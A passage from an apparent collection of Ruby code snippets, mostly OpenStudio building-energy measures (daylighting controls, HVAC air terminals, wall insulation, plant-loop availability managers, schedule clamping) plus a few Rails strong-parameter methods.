This may use a different construction than fixed windows.\")\n model.getSpaceTypes.each do |space_type|\n next if not space_type.standardsSpaceType.get.to_s == \"living\"\n space_type.spaces.each do |space|\n space.surfaces.each do |surface|\n surface.subSurfaces.each do |sub_surface|\n next if not sub_surface.subSurfaceType == \"FixedWindow\" && sub_surface.outsideBoundaryCondition == \"Outdoors\"\n sub_surface.setSubSurfaceType(\"OperableWindow\")\n end\n end\n end\n end\n\n # add daylight controls, need to perform a sizing run for 2010\n runner.registerInfo(\"Adding daylight controls to model.\")\n if args['template'] == '90.1-2010'\n if standard.model_run_sizing_run(model, \"#{Dir.pwd}/SRvt\") == false\n log_messages_to_runner(runner, debug = true)\n return false\n end\n end\n standard.model_add_daylighting_controls(model)\n\n # add hvac system\n if args['add_hvac']\n\n # remove HVAC objects\n standard.model_remove_prm_hvac(model) if args['remove_objects']\n\n # re-assign apartment standards data type for occupancy grouping\n model.getSpaceTypes.each do |space_type|\n next unless space_type.standardsBuildingType.is_initialized\n next unless space_type.standardsSpaceType.is_initialized\n standards_space_type = space_type.standardsSpaceType.get\n if standards_space_type == 'living'\n space_type.setStandardsSpaceType('Apartment')\n end\n end\n\n # Group the zones by occupancy type. Only split out non-dominant groups if their total area exceeds the limit.\n sys_groups = standard.model_group_zones_by_type(model, min_area_m2 = OpenStudio.convert(500, 'ft^2', 'm^2').get)\n sys_groups.each do |sys_group|\n zero_energy_multifamily_add_hvac(model, runner, standard, args['hvac_system_type'], sys_group['zones'])\n end\n end\n\n # set unmet hours tolerance to 1 deg R\n unmet_hrs_tol_k = OpenStudio.convert(1.0, 'R', 'K').get\n tolerances = model.getOutputControlReportingTolerances\n tolerances.setToleranceforTimeHeatingSetpointNotMet(unmet_hrs_tol_k)\n tolerances.setToleranceforTimeCoolingSetpointNotMet(unmet_hrs_tol_k)\n\n # set hvac controls and efficiencies (this should be last model articulation element)\n if args['add_hvac']\n\n # set additional properties for building\n props = model.getBuilding.additionalProperties\n props.setFeature('hvac_system_type', args['hvac_system_type'])\n\n # Set the heating and cooling sizing parameters\n standard.model_apply_prm_sizing_parameters(model)\n\n # Perform a sizing run\n unless standard.model_run_sizing_run(model, \"#{Dir.pwd}/SizingRun\")\n log_messages_to_runner(runner, debug = true)\n return false\n end\n\n # Apply the HVAC efficiency standard\n standard.model_apply_hvac_efficiency_standard(model, climate_zone)\n end \n\n # remove everything but spaces, zones, and stub space types (extend as needed for additional objects, may make bool arg for this)\n if args['remove_objects']\n model.purgeUnusedResourceObjects\n objects_after_cleanup = initial_objects - model.getModelObjects.size\n if objects_after_cleanup > 0\n runner.registerInfo(\"Removing #{objects_after_cleanup} objects from model\")\n end\n end\n\n # report final condition of model\n runner.registerFinalCondition(\"The building finished with #{model.getModelObjects.size} objects.\")\n\n # log messages to info messages\n log_messages_to_runner(runner, debug = false)\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n ### START INPUTS\n #assign the user inputs to variables \n file_path = runner.getStringArgumentValue('file_path', user_arguments) \n default_air_terminal_type = runner.getStringArgumentValue('default_air_terminal_type', user_arguments) \n\n # check the file path for reasonableness\n if file_path.empty?\n runner.registerError(\"Empty path was entered.\")\n return false\n end\n \n # Strip out the potential leading and trailing quotes\n file_path.gsub!('\"','')\n \n if (default_air_terminal_type == \"AirTerminal:SingleDuct:VAV:Reheat(HW)\") || (default_air_terminal_type == \"AirTerminal:SingleDuct:ConstantVolume:Reheat(HW)\")\n heating_plant_loop = runner.getOptionalWorkspaceObjectChoiceValue(\"heating_plant_loop\",user_arguments,model) #model is passed in because of argument type \n #check the heating_plant_loop for reasonableness\n if heating_plant_loop.empty?\n runner.registerError(\"The selected plant loop was not found in the model. It may have been removed by another measure.\")\n return false\n else\n if not heating_plant_loop.get.to_PlantLoop.empty?\n heating_plant_loop = heating_plant_loop.get.to_PlantLoop.get\n runner.registerInfo(\"Using plant loop #{heating_plant_loop.name.to_s} for reheat terminals\")\n else\n runner.registerError(\"Script Error - argument not showing up as plant loop.\")\n return false\n end\n end \n end\n \n # cooling_plant_loop = runner.getOptionalWorkspaceObjectChoiceValue(\"cooling_plant_loop\",user_arguments,model) #model is passed in because of argument type\n #check the cooling_plant_loop for reasonableness\n # if cooling_plant_loop.empty?\n # runner.registerError(\"The selected plant loop with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n # return false\n # end\n # else\n # if not cooling_plant_loop.get.to_PlantLoop.empty?\n # cooling_plant_loop = cooling_plant_loop.get.to_PlantLoop.get\n # else\n # runner.registerError(\"Script Error - argument not showing up as plant loop.\")\n # return false\n # end\n # end #end of if cooling_plant_loop.empty?\n ### END INPUTS\n \n ### START REPORT INITIAL CONDITIONS\n OsLib_HVAC.reportConditions(model, runner, \"initial\")\n ### END REPORT INITIAL CONDITIONS\n\n ### START AIR TERMINAL ASSIGNMENT\n zones = model.getThermalZones\n airloops = model.getAirLoopHVACs\n if !File.exist? file_path\n runner.registerError(\"The file at path #{file_path} doesn't exist.\")\n return false\n else\n raw_data = CSV.table(file_path)\n # Transform to array of hashes\n variables = raw_data.map { |row| row.to_hash }\n variables.each do |var|\n zone_name = var[:thermal_zone]\n airloop_name = var[:airloop]\n \n zone = zones.select { |z| z.name.to_s == zone_name }\n if zone[0].nil?\n runner.registerError(\"Unable to find zone #{zone_name} in the model\")\n return false\n else\n zone = zone[0]\n end \n \n next if airloop_name.nil?\n\n # remove from existing air loop\n airloops.each do |a|\n a.removeBranchForZone(zone)\n end\n\n airloop = airloops.select { |a| a.name.to_s == airloop_name }\n if airloop[0].nil?\n runner.registerError(\"Unable to find airloop #{airloop_name} in the model\")\n return false\n else\n airloop = airloop[0]\n end\n \n #override option here\n air_terminal_type = default_air_terminal_type\n\n if air_terminal_type == \"AirTerminal:SingleDuct:VAV:NoReheat\"\n air_terminal = OpenStudio::Model::AirTerminalSingleDuctVAVNoReheat.new(model, model.alwaysOnDiscreteSchedule())\n elsif air_terminal_type == \"AirTerminal:SingleDuct:VAV:Reheat(HW)\"\n heating_coil = OpenStudio::Model::CoilHeatingWater.new(model, model.alwaysOnDiscreteSchedule())\n heating_coil.setName(\"VAV Reheat Coil - #{zone.name.to_s}\")\n heating_plant_loop.addDemandBranchForComponent(heating_coil)\n air_terminal = OpenStudio::Model::AirTerminalSingleDuctVAVReheat.new(model, model.alwaysOnDiscreteSchedule(), heating_coil)\n elsif air_terminal_type == \"AirTerminal:SingleDuct:ConstantVolume:Reheat(HW)\"\n heating_coil = OpenStudio::Model::CoilHeatingWater.new(model, model.alwaysOnDiscreteSchedule())\n heating_coil.setName(\"CAV Reheat Coil - #{zone.name.to_s}\")\n heating_plant_loop.addDemandBranchForComponent(heating_coil)\n air_terminal = OpenStudio::Model::AirTerminalSingleDuctConstantVolumeReheat.new(model, model.alwaysOnDiscreteSchedule(), heating_coil)\n else #air_terminal_type == \"AirTerminal:SingleDuct:Uncontrolled\"\n air_terminal = OpenStudio::Model::AirTerminalSingleDuctUncontrolled.new(model, model.alwaysOnDiscreteSchedule())\n end\n air_terminal.setName(\"AirTerminal - #{zone.name.to_s}\")\n\n # attach new terminal to the zone and to the airloop\n runner.registerInfo(\"Attaching AirTerminal for zone '#{zone.name.to_s}' to airloop '#{airloop.name.to_s}'\")\n airloop.addBranchForZone(zone, air_terminal.to_StraightComponent)\n end \n end\n ### END AIR TERMINAL ASSIGNMENT \n \n ### START REPORT FINAL CONDITIONS\n OsLib_HVAC.reportConditions(model, runner, \"final\")\n ### END REPORT FINAL CONDITIONS\n return true\n end",
"def run_type_params\n params.require(:run_type).permit(:type, :active)\n end",
"def arguments(model)\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n #make integer arg to run measure [1 is run, 0 is no run]\r\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\r\n run_measure.setDisplayName(\"Run Measure\")\r\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\r\n run_measure.setDefaultValue(1)\r\n args << run_measure\r\n return args\r\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n construction_to_add_ins_onto = runner.getOptionalWorkspaceObjectChoiceValue(\"construction_to_add_ins_onto\",user_arguments,model)\n r_value_ip = runner.getDoubleArgumentValue(\"r_value_ip\",user_arguments)\n material_cost_per_area_ip = runner.getDoubleArgumentValue(\"material_cost_per_area_ip\",user_arguments)\n\n #check to make sure the selected construction is still in the model\n if construction_to_add_ins_onto.empty?\n handle = runner.getStringArgumentValue(\"construction_to_add_ins_onto\",user_arguments)\n if handle.empty?\n runner.registerError(\"No construction was chosen.\")\n else\n runner.registerError(\"The selected construction was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not construction_to_add_ins_onto.get.to_Construction.empty?\n construction_to_add_ins_onto = construction_to_add_ins_onto.get.to_Construction.get\n else\n runner.registerError(\"Script Error - argument not showing up as construction.\")\n return false\n end\n end\n \n #check the R-value for reasonableness\n if r_value_ip < 0 or r_value_ip > 100\n runner.registerError(\"The requested wall insulation R-value of #{r_value_ip} ft^2*h*R/Btu is not realistic.\")\n return false\n elsif r_value_ip > 20\n runner.registerWarning(\"The requested wall insulation R-value of #{r_value_ip} ft^2*h*R/Btu is abnormally high.\")\n elsif r_value_ip < 2\n runner.registerWarning(\"The requested wall insulation R-value of #{r_value_ip} ft^2*h*R/Btu is abnormally low.\")\n end\n\n #short def to make numbers pretty (converts 4125001.25641 to 4,125,001.26 or 4,125,001). \n #this method is used through the measure\n def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end #end def neat_numbers\n \n #convert r_value_ip and material_cost to si for future use\n r_value_si = OpenStudio::convert(r_value_ip, \"ft^2*h*R/Btu\",\"m^2*K/W\").get\n material_cost_per_area_si = OpenStudio::convert(material_cost_per_area_ip,\"1/ft^2\",\"1/m^2\").get\n \n #create a material for polyisocyanurate insulation\n # https://bcl.nrel.gov/node/34449\n # Cellular Polyurethane or Polyisocyanurate - Unfaced - 1 1/2 in., ! Name\n # Rough, ! Roughness\n # 0.0381, ! Thickness {m}\n # 0.0245, ! Conductivity {W/m-K}\n # 24, ! Density {kg/m3}\n # 1590; ! Specific Heat {J/kg-K}\n ins_layer = OpenStudio::Model::StandardOpaqueMaterial.new(model)\n ins_layer.setRoughness(\"Rough\")\n ins_layer.setConductivity(0.0245)\n ins_layer.setDensity(24.0)\n ins_layer.setSpecificHeat(1590.0)\n #calculate the thickness required to meet the desired R-Value\n reqd_thickness_si = r_value_si * ins_layer.thermalConductivity\n reqd_thickness_ip = OpenStudio::convert(reqd_thickness_si, \"m\", \"in\").get\n runner.registerInfo(\"To achieve an R-Value of #{r_value_ip} you need #{neat_numbers(reqd_thickness_ip,2)}in of Polyisocyanurate insulation.\")\n \n #copy the selected construction and add the layer of insulation\n construction_plus_ins = construction_to_add_ins_onto.clone(model).to_Construction.get\n construction_plus_ins.insertLayer(0,ins_layer)\n \n #add a cost to the new construction\n cost_for_adding_ins = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Cost for adding #{reqd_thickness_ip}in ins to #{construction_to_add_ins_onto.name.get}\",\n construction_plus_ins,\n material_cost_per_area_si,\n \"CostPerArea\",\n \"Construction\",\n 25,\n 0).get\n \n #find all exterior walls that use the original construction and\n #replace with the clone of this construction with added insulation\n area_of_insulation_added_si = 0\n model.getSurfaces.each do |surface|\n if surface.outsideBoundaryCondition == \"Outdoors\" and surface.surfaceType == \"Wall\"\n if surface.construction.is_initialized\n if surface.construction.get == construction_to_add_ins_onto\n surface.setConstruction(construction_plus_ins)\n area_of_insulation_added_si += surface.netArea\n end \n end\n end\n end\n\n #this measure is not applicable if there are no exterior walls that used\n #the selected construction\n if area_of_insulation_added_si == 0\n runner.registerAsNotApplicable(\"Not Applicable - Model does not have any exterior walls that use the construction #{construction_to_add_ins_onto.name.get}.\")\n return true\n end\n\n #double-check that the impacted area is the same as what OS calculates automatically\n if area_of_insulation_added_si != construction_plus_ins.getNetArea\n runner.registerError(\"OS calculated #{construction_plus_ins.getNetArea}m^2 of the new construction used; the measure calculated #{area_of_insulation_added_si}m^2. Something is wrong.\")\n return false\n end\n \n #convert affected area to ft^2 for reporting\n area_of_insulation_added_ip = OpenStudio::convert(area_of_insulation_added_si,\"m^2\",\"ft^2\").get\n \n #report the initial condition\n runner.registerInitialCondition(\"The building has #{neat_numbers(area_of_insulation_added_ip,0)}ft^2 of #{construction_to_add_ins_onto.name.get} exterior walls.\")\n\n #report the final condition\n total_cost = material_cost_per_area_ip * area_of_insulation_added_ip\n runner.registerFinalCondition(\"#{neat_numbers(reqd_thickness_ip,2)}in of insulation has been applied to #{neat_numbers(area_of_insulation_added_ip,0)}ft^2 of these exterior walls. This was done at a cost of $#{neat_numbers(material_cost_per_area_ip,0)}/ft^2, for a total cost of $#{neat_numbers(total_cost,0)}.\")\n \n return true\n\n end",
"def run_params\n params.require(:run).permit(:distance, :duration, :encoded_path, :kml_layer_file)\n end",
"def run(model, runner, user_arguments)\r\n super(model, runner, user_arguments)\r\n\r\n # use the built-in error checking\r\n if !runner.validateUserArguments(arguments(model), user_arguments)\r\n return false\r\n end\r\n\r\n # assign the user inputs to variables\r\n\tselPlantLoop = runner.getOptionalWorkspaceObjectChoiceValue(\"selPlantLoop\",user_arguments,model)\r\n\ta_schedule = runner.getOptionalWorkspaceObjectChoiceValue(\"a_schedule\",user_arguments,model)\r\n aM_name = runner.getStringArgumentValue(\"aM_name\", user_arguments)\r\n\r\n # check the space_name for reasonableness\r\n if aM_name.empty?\r\n runner.registerError(\"Empty Availability Manager name was entered.\")\r\n return false\r\n end\r\n\t\r\n\tif a_schedule.empty?\r\n handle = runner.getStringArgumentValue(\"a_schedule\",user_arguments)\r\n if handle.empty?\r\n runner.registerError(\"No schedule was chosen.\")\r\n else\r\n runner.registerError(\"The selected schedule with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\r\n end\r\n return false\r\n else\r\n if not a_schedule.get.to_ScheduleRuleset.empty?\r\n a_schedule = a_schedule.get.to_ScheduleRuleset.get\r\n else\r\n runner.registerError(\"Script Error - argument not showing up as schedule.\")\r\n return false\r\n end\r\n end #end of if a_schedule.empty? \r\n\t\r\n\tif selPlantLoop.empty?\r\n handle = runner.getStringArgumentValue(\"selPlantLoops\",user_arguments)\r\n if handle.empty?\r\n runner.registerError(\"No Plant Loop was chosen.\")\r\n else\r\n runner.registerError(\"The selected Plant Loop with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\r\n end\r\n return false\r\n else\r\n if not selPlantLoop.get.to_PlantLoop.empty?\r\n selPlantLoop = selPlantLoop.get.to_PlantLoop.get\r\n else\r\n runner.registerError(\"Script Error - argument not showing up as Plant Loop.\")\r\n return false\r\n end\r\n end #end of if selPlantLoop.empty? \r\n\r\n # report initial condition of model\r\n\taml = selPlantLoop.availabilityManagers\r\n runner.registerInitialCondition(\"The Plant Loop named #{selPlantLoop.name.to_s} started with #{aml.size} Availability Managers.\")\r\n\r\n # create a new Availability Manager\r\n\tnewAvailMan = OpenStudio::Model::AvailabilityManagerScheduled.new(model)\r\n\tnewAvailMan.setName(aM_name.to_s) \r\n\tnewAvailMan.setSchedule(a_schedule)\r\n\t\r\n\t# echo the new Availability Manager's name back to the user\r\n runner.registerInfo(\"Availability Manager #{newAvailMan.name} was added.\")\r\n\t\r\n\t\r\n\t# connect the new Availability Manager to the selected Plant Loop\r\n selPlantLoop.addAvailabilityManager(newAvailMan)\r\n\r\n # report final condition of model\r\n\taml = selPlantLoop.availabilityManagers\r\n runner.registerFinalCondition(\"The Plant Loop named #{selPlantLoop.name.to_s} ended with #{aml.size} Availability Managers.\")\r\n\r\n return true\r\n\r\n end",
"def run_type_params\n params.require(:run_type).permit(:name, :hex_code, :active, :default)\n end",
"def run_params\n params.require(:run).permit(:player_id, :game_id)\n end",
"def run_params\n params.require(:run).permit(:total_coins, :steps, :calories, :user_id, :total_mushrooms, :total_turtles, :start_time, :end_time)\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n space_type = runner.getOptionalWorkspaceObjectChoiceValue('space_type', user_arguments, model)\n setpoint = runner.getDoubleArgumentValue('setpoint', user_arguments)\n control_type = runner.getStringArgumentValue('control_type', user_arguments)\n min_power_fraction = runner.getDoubleArgumentValue('min_power_fraction', user_arguments)\n min_light_fraction = runner.getDoubleArgumentValue('min_light_fraction', user_arguments)\n fraction_zone_controlled = runner.getDoubleArgumentValue('fraction_zone_controlled', user_arguments)\n height = runner.getDoubleArgumentValue('height', user_arguments)\n material_cost = runner.getDoubleArgumentValue('material_cost', user_arguments)\n demolition_cost = runner.getDoubleArgumentValue('demolition_cost', user_arguments)\n years_until_costs_start = runner.getIntegerArgumentValue('years_until_costs_start', user_arguments)\n demo_cost_initial_const = runner.getBoolArgumentValue('demo_cost_initial_const', user_arguments)\n expected_life = runner.getIntegerArgumentValue('expected_life', user_arguments)\n om_cost = runner.getDoubleArgumentValue('om_cost', user_arguments)\n om_frequency = runner.getIntegerArgumentValue('om_frequency', user_arguments)\n\n # check the space_type for reasonableness\n if space_type.empty?\n handle = runner.getStringArgumentValue('space_type', user_arguments)\n if handle.empty?\n runner.registerError('No SpaceType was chosen.')\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !space_type.get.to_SpaceType.empty?\n space_type = space_type.get.to_SpaceType.get\n else\n runner.registerError('Script Error - argument not showing up as space type.')\n return false\n end\n end\n\n # check the setpoint for reasonableness\n if (setpoint < 0) || (setpoint > 9999) # dfg need input on good value\n runner.registerError(\"A setpoint of #{setpoint} foot-candles is outside the measure limit.\")\n return false\n elsif setpoint > 999\n runner.registerWarning(\"A setpoint of #{setpoint} foot-candles is abnormally high.\") # dfg need input on good value\n end\n\n # check the min_power_fraction for reasonableness\n if (min_power_fraction < 0.0) || (min_power_fraction > 0.6)\n runner.registerError(\"The requested minimum input power fraction of #{min_power_fraction} for continuous dimming control is outside the acceptable range of 0 to 0.6.\")\n return false\n end\n\n # check the min_light_fraction for reasonableness\n if (min_light_fraction < 0.0) || (min_light_fraction > 0.6)\n runner.registerError(\"The requested minimum light output fraction of #{min_light_fraction} for continuous dimming control is outside the acceptable range of 0 to 0.6.\")\n return false\n end\n\n # check the height for reasonableness\n if (height < -360) || (height > 360) # neg ok because space origin may not be floor\n runner.registerError(\"A setpoint of #{height} inches is outside the measure limit.\")\n return false\n elsif height > 72\n runner.registerWarning(\"A setpoint of #{height} inches is abnormally high.\")\n elseif height < 0\n runner.registerWarning('Typically the sensor height should be a positive number, however if your space origin is above the floor then a negative sensor height may be approriate.')\n end\n\n # set flags to use later\n costs_requested = false\n warning_cost_assign_to_space = false\n\n # check costs for reasonableness\n if material_cost.abs + demolition_cost.abs + om_cost.abs == 0\n runner.registerInfo('No costs were requested for Daylight Sensors.')\n else\n costs_requested = true\n end\n\n # check lifecycle arguments for reasonableness\n if (years_until_costs_start < 0) && (years_until_costs_start > expected_life)\n runner.registerError('Years until costs start should be a non-negative integer less than Expected Life.')\n end\n if (expected_life < 1) && (expected_life > 100)\n runner.registerError('Choose an integer greater than 0 and less than or equal to 100 for Expected Life.')\n end\n if om_frequency < 1\n runner.registerError('Choose an integer greater than 0 for O & M Frequency.')\n end\n\n # short def to make numbers pretty (converts 4125001.25641 to 4,125,001.26 or 4,125,001). The definition be called through this measure\n def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end\n\n # helper that loops through lifecycle costs getting total costs under \"Construction\" or \"Salvage\" category and add to counter if occurs during year 0\n def get_total_costs_for_objects(objects)\n counter = 0\n objects.each do |object|\n object_LCCs = object.lifeCycleCosts\n object_LCCs.each do |object_LCC|\n if (object_LCC.category == 'Construction') || (object_LCC.category == 'Salvage')\n if object_LCC.yearsFromStart == 0\n counter += object_LCC.totalCost\n end\n end\n end\n end\n return counter\n end\n\n # unit conversion from IP units to SI units\n setpoint_si = OpenStudio.convert(setpoint, 'fc', 'lux').get\n height_si = OpenStudio.convert(height, 'in', 'm').get\n\n # variable to tally the area to which the overall measure is applied\n area = 0\n # variables to aggregate the number of sensors installed and the area affected\n sensor_count = 0\n sensor_area = 0\n spaces_using_space_type = space_type.spaces\n # array with subset of spaces\n spaces_using_space_type_in_zones_without_sensors = []\n affected_zones = []\n affected_zone_names = []\n # hash to hold sensor objects\n new_sensor_objects = {}\n\n # reporting initial condition of model\n starting_spaces = model.getSpaces\n runner.registerInitialCondition(\"#{spaces_using_space_type.size} spaces are assigned to space type '#{space_type.name}'.\")\n\n # get starting costs for spaces\n yr0_capital_totalCosts = -1 * get_total_costs_for_objects(spaces_using_space_type)\n\n # test that there is no sensor already in the space, and that zone object doesn't already have sensors assigned.\n spaces_using_space_type.each do |space_using_space_type|\n if space_using_space_type.daylightingControls.empty?\n space_zone = space_using_space_type.thermalZone\n if !space_zone.empty?\n space_zone = space_zone.get\n if space_zone.primaryDaylightingControl.empty? && space_zone.secondaryDaylightingControl.empty?\n spaces_using_space_type_in_zones_without_sensors << space_using_space_type\n elsif\n runner.registerWarning(\"Thermal zone '#{space_zone.name}' which includes space '#{space_using_space_type.name}' already had a daylighting sensor. No sensor was added to space '#{space_using_space_type.name}'.\")\n end\n else\n runner.registerWarning(\"Space '#{space_using_space_type.name}' is not associated with a thermal zone. It won't be part of the EnergyPlus simulation.\")\n end\n else\n runner.registerWarning(\"Space '#{space_using_space_type.name}' already has a daylighting sensor. No sensor was added.\")\n end\n end\n\n # loop through all spaces,\n # and add a daylighting sensor with dimming to each\n space_count = 0\n spaces_using_space_type_in_zones_without_sensors.each do |space|\n space_count += 1\n area += space.floorArea\n\n # eliminate spaces that don't have exterior natural lighting\n has_ext_nat_light = false\n space.surfaces.each do |surface|\n next if surface.outsideBoundaryCondition != 'Outdoors'\n surface.subSurfaces.each do |sub_surface|\n next if sub_surface.subSurfaceType == 'Door'\n next if sub_surface.subSurfaceType == 'OverheadDoor'\n has_ext_nat_light = true\n end\n end\n if has_ext_nat_light == false\n runner.registerWarning(\"Space '#{space.name}' has no exterior natural lighting. No sensor will be added.\")\n next\n end\n\n # find floors\n floors = []\n space.surfaces.each do |surface|\n next if surface.surfaceType != 'Floor'\n floors << surface\n end\n\n # this method only works for flat (non-inclined) floors\n boundingBox = OpenStudio::BoundingBox.new\n floors.each do |floor|\n boundingBox.addPoints(floor.vertices)\n end\n xmin = boundingBox.minX.get\n ymin = boundingBox.minY.get\n zmin = boundingBox.minZ.get\n xmax = boundingBox.maxX.get\n ymax = boundingBox.maxY.get\n\n # create a new sensor and put at the center of the space\n sensor = OpenStudio::Model::DaylightingControl.new(model)\n sensor.setName(\"#{space.name} daylighting control\")\n x_pos = (xmin + xmax) / 2\n y_pos = (ymin + ymax) / 2\n z_pos = zmin + height_si # put it 1 meter above the floor\n new_point = OpenStudio::Point3d.new(x_pos, y_pos, z_pos)\n sensor.setPosition(new_point)\n sensor.setIlluminanceSetpoint(setpoint_si)\n sensor.setLightingControlType(control_type)\n sensor.setMinimumInputPowerFractionforContinuousDimmingControl(min_power_fraction)\n sensor.setMinimumLightOutputFractionforContinuousDimmingControl(min_light_fraction)\n sensor.setSpace(space)\n puts sensor\n\n # add lifeCycleCost objects if there is a non-zero value in one of the cost arguments\n if costs_requested == true\n\n starting_lcc_counter = space.lifeCycleCosts.size\n\n # adding new cost items\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_Mat - #{sensor.name}\", space, material_cost, 'CostPerEach', 'Construction', expected_life, years_until_costs_start)\n if demo_cost_initial_const\n lcc_demo = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_Demo - #{sensor.name}\", space, demolition_cost, 'CostPerEach', 'Salvage', expected_life, years_until_costs_start)\n else\n lcc_demo = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_Demo - #{sensor.name}\", space, demolition_cost, 'CostPerEach', 'Salvage', expected_life, years_until_costs_start + expected_life)\n end\n lcc_om = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_OM - #{sensor.name}\", space, om_cost, 'CostPerEach', 'Maintenance', om_frequency, 0)\n\n if space.lifeCycleCosts.size - starting_lcc_counter == 3\n if !warning_cost_assign_to_space\n runner.registerInfo('Cost for daylight sensors was added to spaces. The cost will remain in the model unless the space is removed. Removing only the sensor will not remove the cost.')\n warning_cost_assign_to_space = true\n end\n else\n runner.registerWarning(\"The measure did not function as expected. #{space.lifeCycleCosts.size - starting_lcc_counter} LifeCycleCost objects were made, 3 were expected.\")\n end\n\n end\n\n # push unique zones to array for use later in measure\n temp_zone = space.thermalZone.get\n if affected_zone_names.include?(temp_zone.name.to_s) == false\n affected_zones << temp_zone\n affected_zone_names << temp_zone.name.to_s\n end\n\n # push sensor object into hash with space name\n new_sensor_objects[space.name.to_s] = sensor\n\n # add floor area to the daylighting area tally\n sensor_area += space.floorArea\n\n # add to sensor count for reporting\n sensor_count += 1\n end\n\n if (sensor_count == 0) && (costs_requested == false)\n runner.registerAsNotApplicable(\"No spaces that currently don't have sensor required a new sensor, and no lifecycle costs objects were requested.\")\n return true\n end\n\n # loop through thermal Zones for spaces with daylighting controls added\n affected_zones.each do |zone|\n zone_spaces = zone.spaces\n zone_spaces_with_new_sensors = []\n zone_spaces.each do |zone_space|\n if !zone_space.daylightingControls.empty? && (zone_space.spaceType.get == space_type)\n zone_spaces_with_new_sensors << zone_space\n end\n end\n\n if !zone_spaces_with_new_sensors.empty?\n # need to identify the two largest spaces\n primary_area = 0\n secondary_area = 0\n primary_space = nil\n secondary_space = nil\n three_or_more_sensors = false\n\n # dfg temp - need to add another if statement so only get spaces with sensors\n zone_spaces_with_new_sensors.each do |zone_space|\n zone_space_area = zone_space.floorArea\n if zone_space_area > primary_area\n primary_area = zone_space_area\n primary_space = zone_space\n elsif zone_space_area > secondary_area\n secondary_area = zone_space_area\n secondary_space = zone_space\n else\n # setup flag to warn user that more than 2 sensors can't be added to a space\n three_or_more_sensors = true\n end\n end\n\n if primary_space\n # setup primary sensor\n sensor_primary = new_sensor_objects[primary_space.name.to_s]\n zone.setPrimaryDaylightingControl(sensor_primary)\n zone.setFractionofZoneControlledbyPrimaryDaylightingControl(fraction_zone_controlled * primary_area / (primary_area + secondary_area))\n end\n\n if secondary_space\n # setup secondary sensor\n sensor_secondary = new_sensor_objects[secondary_space.name.to_s]\n zone.setSecondaryDaylightingControl(sensor_secondary)\n zone.setFractionofZoneControlledbySecondaryDaylightingControl(fraction_zone_controlled * secondary_area / (primary_area + secondary_area))\n end\n\n # warn that additional sensors were not used\n if three_or_more_sensors == true\n runner.registerWarning(\"Thermal zone '#{zone.name}' had more than two spaces with sensors. Only two sensors were associated with the thermal zone.\")\n end\n\n end\n end\n\n # setup OpenStudio units that we will need\n unit_area_ip = OpenStudio.createUnit('ft^2').get\n unit_area_si = OpenStudio.createUnit('m^2').get\n\n # define starting units\n area_si = OpenStudio::Quantity.new(sensor_area, unit_area_si)\n\n # unit conversion from IP units to SI units\n area_ip = OpenStudio.convert(area_si, unit_area_ip).get\n\n # get final costs for spaces\n yr0_capital_totalCosts = get_total_costs_for_objects(spaces_using_space_type)\n\n # reporting final condition of model\n runner.registerFinalCondition(\"Added daylighting controls to #{sensor_count} spaces, covering #{area_ip}. Initial year costs associated with the daylighting controls is $#{neat_numbers(yr0_capital_totalCosts, 0)}.\")\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n schedule = runner.getOptionalWorkspaceObjectChoiceValue(\"schedule\",user_arguments,model)\n minimum_fraction = runner.getDoubleArgumentValue(\"minimum_fraction\",user_arguments)\n \n #check the schedule\n if schedule.empty?\n runner.registerError(\"Cannot find schedule.\")\n return false\n end\n schedule = schedule.get.to_ScheduleRuleset\n if schedule.empty?\n runner.registerError(\"Cannot find schedule.\")\n return false\n end\n schedule = schedule.get\n \n #check the fraction for reasonableness\n if not 0 <= minimum_fraction and minimum_fraction <= 1\n runner.registerError(\"Minimum fractional value needs to be between or equal to 0 and 1.\")\n return false\n end\n \n #check the fraction for reasonableness\n schedule.scheduleRules.each do |scheduleRule|\n # these are already unique, no need to clone\n daySchedule = scheduleRule.daySchedule\n times = daySchedule.times\n values = daySchedule.values\n daySchedule.clearValues\n \n times.each_index do |i|\n value = [values[i], minimum_fraction].max\n daySchedule.addValue(times[i], value)\n end\n end\n\n return true\n\n end",
